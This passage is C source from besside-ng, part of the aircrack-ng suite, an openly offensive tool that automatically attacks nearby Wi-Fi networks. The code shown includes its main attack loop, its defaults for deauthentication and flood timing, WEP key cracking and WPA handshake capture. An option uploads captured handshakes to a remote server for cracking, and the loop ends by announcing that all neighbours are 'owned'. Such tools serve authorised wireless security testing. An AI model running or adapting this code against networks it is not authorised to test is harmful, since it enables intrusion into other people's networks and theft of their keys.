static inline char * strip_spaces(char * p)
{
	REQUIRE(p != NULL);

	char * x;

	while (*p == ' ') p++;

	x = p + strlen(p) - 1;
	while (x >= p && *x == ' ') *x-- = 0;

	return (p);
}

static int parse_hex(unsigned char * out, char * in, int l)
{
	REQUIRE(out != NULL);

	int len = 0;

	while (in)
	{
		char * p = strchr(in, ':');
		int x;

		if (--l < 0) err(1, "parse_hex len");

		if (p) *p++ = 0;

		if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()");

		*out++ = (unsigned char) x;
		len++;

		in = p;
	}

	return (len);
}

static void resume_network(char * buf)
{
	REQUIRE(buf != NULL);

	char *p = buf, *p2;
	int state = 0;
	struct network * n;

	if (buf[0] == '#') return;

	n = network_new();

	while (1)
	{
		p2 = strchr(p, '|');

		if (!p2)
		{
			p2 = strchr(p, '\n');
			if (!p2) break;
		}

		*p2++ = 0;

		p = strip_spaces(p);

		switch (state)
		{
			/* ssid */
			case 0:
				strncpy(n->n_ssid, p, sizeof(n->n_ssid));
				(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
				break;

			/* key */
			case 1:
				if (strstr(p, "handshake"))
				{
					n->n_crypto = CRYPTO_WPA;
					n->n_client_handshake = (void *) 0xbad;
				}
				else if (strchr(p, ':'))
				{
					n->n_crypto = CRYPTO_WEP;

					n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key));
				}

				if (n->n_crypto != CRYPTO_NONE)
				{
					n->n_have_beacon = 1;
					n->n_astate = ASTATE_DONE;
				}
				break;

			/* bssid */
			case 2:
				parse_hex(n->n_bssid, p, sizeof(n->n_bssid));
				break;

			case 3:
				if (*p)
				{
					struct client * c = xmalloc(sizeof(*c));

					memset(c, 0, sizeof(*c));

					parse_hex(c->c_mac, p, sizeof(c->c_mac));

					n->n_client_mac = c;
					n->n_got_mac = 1;
				}
				break;
		}

		state++;
		p = p2;
	}

	if (n->n_astate != ASTATE_DONE)
	{
		free(n);
		return;
	}

	do_network_add(n);

	network_print(n);
}

static void resume(void)
{
	FILE * f;
	char buf[4096];

	f = fopen(_conf.cf_log, "r");
	if (!f) return;

	time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log);

	while (fgets(buf, sizeof(buf), f)) resume_network(buf);

	fclose(f);
}

static void cleanup(int UNUSED(x))
{
	struct state * s = &_state;
	struct network * n;

	printf("\nDying...\n");

	wi_close(s->s_wi);

	if (_state.s_state == STATE_ATTACK)
	{
		n = _state.s_curnet;
		ALLEGE(n);
		cracker_kill(&n->n_cracker_wep[0]);
		cracker_kill(&n->n_cracker_wep[1]);
	}

	if (_state.s_wpafd) close(_state.s_wpafd);

	if (_state.s_wepfd) close(_state.s_wepfd);

	print_work();

	exit(EXIT_SUCCESS);
}

static void pwn(void)
{
	struct state * s = &_state;
	struct timeval tv;
	fd_set fds;
	int wifd, max, rc;

	if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()");

	if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()");

	gettimeofday(&_state.s_now, NULL);
	memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start));

	wifd = wi_fd(s->s_wi);
	max = wifd;

	char * mac = mac2string(_state.s_mac);
	ALLEGE(mac != NULL);
	time_printf(V_VERBOSE, "mac %s\n", mac);
	free(mac);
	time_printf(V_NORMAL, "Let's ride\n");

	if (wi_set_channel(s->s_wi, _state.s_chan) == -1)
		err(1, "wi_set_channel()");

	resume();

	_state.s_wpafd = open_pcap(_conf.cf_wpa);
	_state.s_wepfd = open_pcap(_conf.cf_wep);

	save_log();
	time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log);

	scan_start();

	while (s->s_state != STATE_DONE)
	{
		timer_next(&tv);

		FD_ZERO(&fds);
		FD_SET(wifd, &fds);

		max = add_cracker_fds(&fds, max);

		if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1
			&& errno != EINTR)
			err(1, "select()");

		gettimeofday(&_state.s_now, NULL);

		check_cracker_fds(&fds);

		print_status(FD_ISSET(wifd, &fds));

		if (FD_ISSET(wifd, &fds)) wifi_read();

		timer_check();

		make_progress();
	}

	time_printf(V_NORMAL, "All neighbors owned\n");

	cleanup(EXIT_SUCCESS);
}

static void channel_add(int num)
{
	struct channel * c = xmalloc(sizeof(*c));
	struct channel * pos = _conf.cf_channels.c_next;

	while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next;

	memset(c, 0, sizeof(*c));

	pos->c_next = c;

	c->c_num = num;
	c->c_next = _conf.cf_channels.c_next;
}

static void init_conf(void)
{
	int i;

	_conf.cf_channels.c_next = &_conf.cf_channels;

	for (i = 1; i <= 11; i++) channel_add(i);

	_state.s_hopchan = _conf.cf_channels.c_next;

	_conf.cf_hopfreq = 250;
	_conf.cf_deauthfreq = 2500;
	_conf.cf_attackwait = 10;
	_conf.cf_floodwait = 60;
	_conf.cf_to = 100;
	_conf.cf_floodfreq = 10 * 1000;
	_conf.cf_crack_int = 5000;
	_conf.cf_wpa = "wpa.cap";
	_conf.cf_wep = "wep.cap";
	_conf.cf_log = "besside.log";
	_conf.cf_do_wep = 1;
	_conf.cf_do_wpa = 1;
}

static const char * timer_cb2str(timer_cb cb)
{
	if (cb == hop)
		return ("hop");
	else if (cb == attack_watchdog)
		return ("attack_watchdog");
	else if (cb == deauth)
		return ("deauth");
	else
		return ("UNKNOWN");
}

static void print_state_network(struct network * n)
{
	REQUIRE(n != NULL);

	struct client * c = n->n_clients.c_next;

	char * mac_bssid = mac2string(n->n_bssid);
	ALLEGE(mac_bssid != NULL);
	printf("Network: [%s] chan %d bssid %s astate %d dbm %d"
		   " have_beacon %d crypto %d",
		   n->n_ssid,
		   n->n_chan,
		   mac_bssid,
		   n->n_astate,
		   n->n_dbm,
		   n->n_have_beacon,
		   n->n_crypto);
	free(mac_bssid);

	if (n->n_key_len)
	{
		printf(" KEY [");
		print_hex(n->n_key, n->n_key_len);
		printf("]");
	}

	printf("\n");

	while (c)
	{
		char * mac = mac2string(c->c_mac);
		ALLEGE(mac != NULL);
		printf("\tClient: %s wpa_got %d dbm %d\n", mac, c->c_wpa_got, c->c_dbm);
		free(mac);

		c = c->c_next;
	}
}

static void print_state(int UNUSED(x))
{
	struct state * s = &_state;
	struct network * n = s->s_curnet;
	struct channel * c = s->s_hopchan;
	struct channel * c2 = c;
	struct timer * t = s->s_timers.t_next;

	printf("\n=============== Internal state ============\n");
	printf("State:\t%d\n", s->s_state);

	if (s->s_state == STATE_ATTACK)
	{
		char * mac = mac2string(n->n_bssid);
		ALLEGE(mac != NULL);
		printf("Current attack network: [%s] %s\n", n->n_ssid, mac);
		free(mac);
	}

	n = _state.s_networks.n_next;
	while (n)
	{
		print_state_network(n);
		n = n->n_next;
	}

	printf("Current chan: %d\n", s->s_chan);
	printf("Hop cycle %u chans:", s->s_hopcycles);
	do
	{
		printf(" %d", c->c_num);
		c = c->c_next;

		if (c != c2) printf(",");

	} while (c != c2);
	printf("\n");

	printf(
#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
		"Now: %lu.%lu\n",
#else
		"Now: %lu.%d\n",
#endif
		s->s_now.tv_sec,
		s->s_now.tv_usec);

	while (t)
	{
		printf(
#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
			"Timer: %lu.%lu %p[%s](%p)\n",
#else
			"Timer: %lu.%d %p[%s](%p)\n",
#endif
			t->t_tv.tv_sec,
			t->t_tv.tv_usec,
			t->t_cb,
			timer_cb2str(t->t_cb),
			t->t_arg);

		t = t->t_next;
	}

	print_work();

	printf("===========================================\n");
}

static void usage(char * prog)
{
	char * version_info
		= getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
	printf("\n"
		   "  %s - (C) 2010 Andrea Bittau\n"
		   "  https://www.aircrack-ng.org\n"
		   "\n"
		   "  Usage: %s [options] <interface>\n"
		   "\n"
		   "  Options:\n"
		   "\n"
		   "       -b <victim mac> : Victim BSSID\n"
#ifdef HAVE_PCRE
		   "       -R <victim ap regex> : Victim ESSID regex\n"
#endif
		   "       -s <WPA server> : Upload wpa.cap for cracking\n"
		   "       -c       <chan> : chanlock\n"
		   "       -p       <pps>  : flood rate\n"
		   "       -W              : WPA only\n"
		   "       -v              : verbose, -vv for more, etc.\n"
		   "       -h              : This help screen\n"
		   "\n",
		   version_info,
		   prog);
	free(version_info);
	exit(EXIT_FAILURE);
}

int main(int argc, char * argv[])
{
	int ch, temp;
#ifdef HAVE_PCRE
	const char * pcreerror;
	int pcreerroffset;
#endif

	init_conf();

	while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1)
	{
		switch (ch)
		{
			case 's':
				_conf.cf_wpa_server = optarg;
				break;

			case 'W':
				_conf.cf_do_wep = 0;
				break;

			case 'p':
				temp = atoi(optarg);
				if (temp <= 0)
				{
					printf("Invalid flood rate value, must be > 0");
					exit(EXIT_FAILURE);
				}
				_conf.cf_floodfreq
					= (int) (1.0 / (double) temp * 1000.0 * 1000.0);
				break;

			case 'c':
				// XXX leak
				_conf.cf_channels.c_next = &_conf.cf_channels;
				temp = atoi(optarg);
				if (temp <= 0)
				{
					printf("Invalid channel, must be > 0\n");
					exit(EXIT_FAILURE);
				}
				channel_add(temp);
				_state.s_hopchan = _conf.cf_channels.c_next;
				break;

			case 'v':
				_conf.cf_verb++;
				break;

			case 'b':
				_conf.cf_bssid = xmalloc(6);
				parse_hex(_conf.cf_bssid, optarg, 6);
				break;

#ifdef HAVE_PCRE
			case 'R':
				if (_conf.cf_essid_regex != NULL)
				{
					printf("Error: ESSID regular expression already given. "
						   "Aborting\n");
					exit(EXIT_FAILURE);
				}

				_conf.cf_essid_regex
					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);

				if (_conf.cf_essid_regex == NULL)
				{
					printf("Error: regular expression compilation failed at "
						   "offset %d: %s; aborting\n",
						   pcreerroffset,
						   pcreerror);
					exit(EXIT_FAILURE);
				}
				break;
#endif

			default:
			case 'h':
				usage(argv[0]);
				break;
		}
	}

	if (optind <= argc) _conf.cf_ifname = argv[optind];

	if (!_conf.cf_ifname)
	{
		printf("Gimme an interface name dude\n");
		usage(argv[0]);
	}

	signal(SIGINT, cleanup);
	signal(SIGKILL, cleanup);
	signal(SIGUSR1, print_state);
	signal(SIGCHLD, do_wait);

	pwn();

#ifdef HAVE_PCRE
	if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
#endif

	exit(EXIT_SUCCESS);
}
